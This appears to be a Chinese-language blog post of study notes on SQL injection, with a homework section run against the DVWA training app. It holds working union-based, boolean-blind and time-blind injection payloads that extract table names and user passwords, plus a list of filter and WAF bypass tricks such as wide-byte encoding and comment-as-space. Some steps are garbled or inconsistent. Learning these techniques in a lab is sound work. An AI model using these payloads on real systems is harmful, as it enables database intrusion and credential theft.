blog4
SQL注入流程
1.判断是否存在注入,且是数字型还是字符型
输入1,查询成功;
输入1’ and ‘1’=’2,查询失败,返回结果为空;
输入1’or’1’=’1,查询成功
返回多个结果说明存在字符型注入
2.猜解SQL查询语句中的字段数
输入1’ or 1=1 order by 1 #,查询成功
输入1’ or 1=1 order by 2 #,查询成功
输入1’ or 1=1 order by 3 #,查询失败
说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。(这里也可以通过输入union select 1,2,3…来猜解字段数)
3.确定显示的字段顺序
输入1’union select 1,2 #
4.获取当前数据库
输入1’ union select 1,database() #
5.获取数据库中的表
输入1’union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
6.获取表中的字段名
输入1’union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #
7.下载数据
输入1’ or 1=1 union select group_concat(id,first_name,last_name),group_concat(password) from users #
带过滤SQL注入
1.运用编码技术绕过
使用ASCII编码
例:SELECT FROM Users WHERE username = CHAR(101,97,115,116)
SELECT FROM Users WHERE username = ‘east’
使用url编码
例:SELECT password FROM Users WHERE username = 0x61646D696E
SELECT password FROM Users WHERE username = admin
2.采用重复的技术绕过
例:admin->adadminmin
例:admin —> adminadmin
3.采用大小写交替混用的绕过
例:UnIoN SeLeCT
4.绕过空格
·两个空格代替一个空格,TAB代替空格
·注释符号代替空格( / 注释 / )
例:SELECT//password//FROM//Users//WHERE/**/username=admin
·用括号代替空格
例:select(user())from dual where(1=1)and(2=2)
·用+代替空格
例: SELECT +password+ FROM + Users + WHERE +username=admin
· %a0=空格
例:%0a %a0 %20 %09 %0B %0C %0D
·用花括号代替空格 {}
·单引号双引号代替空格
5.过滤information_schema.tables等关键表名
information_schema . tables(在schema与tables中间加空格)
6.过滤
用like代替
7.过滤引号
使用十六进制可以绕过引号
例:select column_name from information_schema.tables where table_name=”users”
select column_name from information_schema.tables where table_name=0x7573657273
- 过滤‘<’与‘>’
使用greatest()(>)、least() (<)绕过比较操作符
例:select * from users where id=1 and ascii(substr(database(),0,1))>64
9.过滤逗号select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
(在盲注的时候需要使用substr(),mid(),limit,这些句子的方法会使用逗号)
·substr(),mid()等函数中的逗号过滤
例:select substr(database() from 1 for 1) 例:select mid(database() from 1 for 1)
·limit中的逗号过滤select substr(database(),1,1); select mid(database(),1,1)
例:select * from news limit 0,1select * from news limit 1 offset 0
- 过滤sleep
benchmark(x, y)
benchmark(10000000,sha(1)) 10000000次sha(1),来时间延迟
若sleep中不能使用数字
用pi()函数绕过:sleep(ceil(pi()))(pi()为圆周率计算,ceil为向上取整函数)
11.过滤注释符号(#,–+)
例:id=1’ union select 1,2,3||’1(最后的||’1=or ‘1闭合查询语句的最后的单引号)
id=1’ union select 1,2,’3
12.采用重复的技术绕过
通常利用的思路为用\’代替’
尝试宽字节 %bf%27 %df%27 %aa%27
原因:在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字
%df 吃掉 \ 具体的方法是 urlencode(\’) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(’)符号在外面:
13.采用大小写交替混用的绕过
当order by 被过滤后就可以使用into 变量来绕过
例:select from yz limit 1,1 into @a,@b,@c;
14.利用等价函数
hex()、bin() ==> ascii()
sleep() ==> benchmark()
concat_ws()==> group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
15.Mysql条件注释的利用 /! … /
/! … /:其中的语句如果在其它数据库中是不会被执行,但在MYSQL中它会执行。
/!50000select*/:50000版本以上的 不执行括号中的语句,否则必定执行。布尔型盲注
只有false和true两种状态,过程中需要猜测,直到猜到正确型为止。猜解库、表、列的代码
用字典文件替换db,table,column,如果不存在,返回false界面;存在,返回true界面。
(1)猜解当前数据库的名字
$name=1’ and ascii(mid(database(),1,1))>115–+’
select 2列 from 表 where name = ‘1’ and ascii(mid(database(),1,1))>115–+’
(2)猜解数据库的表名
$name=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114–+
(3)猜解表中的列名
$name=1’ and ascii(substr((select column_name from information_schema
.columns where table_name=’users’ limit 0,1),1,1))=105–+
(4)猜解列名对应的内容
$name=’ 1’ and ascii(substr((select username from security.users order by id
limit 0,1),1,1))=68–+时间型盲注
对一个命令只有一个固定的反应,如果是正确就会等待一定时间再反应,如果是错误的就会立刻反应猜解库、表、列的代码
(1)猜解当前数据库的名字
$name=1’ and if(ascii(substring(database(),1,1)) =115,1,sleep(5))–+
(2) 猜解数据库的表名
$name=1’ and if(ascii(substring((select table_name from
information_schema.tables where table_schema=database() limit 1,1),1,1))=114,
1,sleep(5))–+
(3)猜解表中的列名
$name=1’ and if(ascii(substring((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1,1))=105,
1,sleep(5))–+
(4)猜解列名对应的内容
$name=1’ and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,1,sleep(5))–+作业
dvwa的注入过程
1.判断是否存在注入,且是数字型还是字符型
输入1’ or’1’=’1
2.猜解SQL查询语句中的字段数
输入1’ or 1=1 order by 1 #;1’ or 1=1 order by 2 #;1’ or 1=1 order by 3 #
3.确定显示的字段顺序
输入1’union select 1,2 #
4.获取当前数据库
输入1’ union select 1,database() #
5.获取数据库中的表
输入1’union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
6.获取表中的字段名
输入1’union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #布尔型盲注
先用火狐浏览器浏览器跳出HackBar
1.猜解当前数据库名称,输入1’ and ascii(mid(database(),1,1))>115–+’,找到 库名第2位的ASCII码值115
2.猜解数据库的表名。输入1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114–+,得到表名第2位ASCII码值114
3.猜解表中的列名,输入1’ and ascii(substr((select column_name from information_schema
.columns where table_name=’users’ limit 0,1),1,1))=105–+,找到列名第二位的ASCII码值117
4.猜解列名对应的内容,输入1’ and ascii(substr((select username from security.users order by id
limit 0,1),1,1))=68–+,找到对应内容第二位的ASCII码值68时间型盲注
过程同布尔型注入,找到的库名、表名、列名、对应内容在各位上的ASCII码值分别为115、114、117、68
因为此处sleep(5)是放到末尾,所以当找到的值错误时会执行此代码;将它与1换下位置结果相反。
$name=1’and if (’1’ = ‘1’,1, sleep(5)) –+ (不延迟返回为true)
$name=1’and if(’1’ = ‘2’,1, sleep(5)) –+ (延迟返回为false)
全句:select 列 from 表 where name = ‘1’ and if(‘1’ = ‘1’,1,sleep(5)) –+
1.
2.
3.
4.